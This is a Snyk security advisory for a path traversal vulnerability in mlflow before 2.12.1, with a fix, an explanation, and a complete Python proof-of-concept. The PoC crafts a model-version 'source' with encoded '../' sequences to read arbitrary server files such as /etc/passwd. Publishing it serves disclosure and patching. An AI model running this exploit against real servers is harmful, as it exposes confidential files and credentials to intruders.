Path Traversal Affecting mlflow package, versions [,2.12.1)


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.04% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-MLFLOW-6615821
  • published 18 Apr 2024
  • disclosed 16 Apr 2024
  • credit ozelis

How to fix?

Upgrade mlflow to version 2.12.1 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Path Traversal due to improper validation of the source parameter within the _create_model_version function. An attacker can gain arbitrary file read access on the server by crafting a source parameter that bypasses the _validate_non_local_source_contains_relative_paths(source) function's checks. This issue stems from the handling of unquoted URL characters and the misuse of the original source value for model version creation, leading to the exposure of sensitive files when interacting with the /model-versions/get-artifact handler.

PoC

from argparse import ArgumentParser
from random import randbytes
from requests import Session
from urllib.parse import unquote

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--path", default="/etc/passwd")
    args = parser.parse_args()

    url = args.url
    ajax_api = f"{url}/ajax-api/2.0/mlflow"

    with Session() as s:
        # upload an artifact to force creation of './mlartifacts' directory in servers CWD in case
        # no artifacts were uploaded before:
        experiment_name = "e_" + randbytes(4).hex()
        rsp = s.post(f"{ajax_api}/experiments/create", json={ "name" : experiment_name })
        experiment_id = rsp.json()["experiment_id"]

        rsp = s.post(f"{ajax_api}/runs/create", json={ "experiment_id" : experiment_id })
        run_uuid = rsp.json()["run"]["info"]["run_uuid"]

        rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=xxx", data="whatever")
        rsp = s.post(f"{ajax_api}/experiments/delete", json={ "experiment_id" : experiment_id })

        # create a registered model and version:
        model_name = "m_" + randbytes(4).hex()
        rsp = s.post(f"{ajax_api}/registered-models/create", json={ "name" : model_name })

        rsp = s.post(f"{ajax_api}/model-versions/create", json={
            "name" : model_name,
            "source": f"http:///xxx%23/api/2.0/mlflow-artifacts/artifacts/../../../../../../../../../../../../"
        })

        rsp = s.get(f"{args.url}/model-versions/get-artifact", params={
            "name" : model_name,
            "version" : 1,
            "path" : args.path.removeprefix("/")
        })

        try:
            print(rsp.content.decode())
        except UnicodeDecodeError:
            print(rsp.content)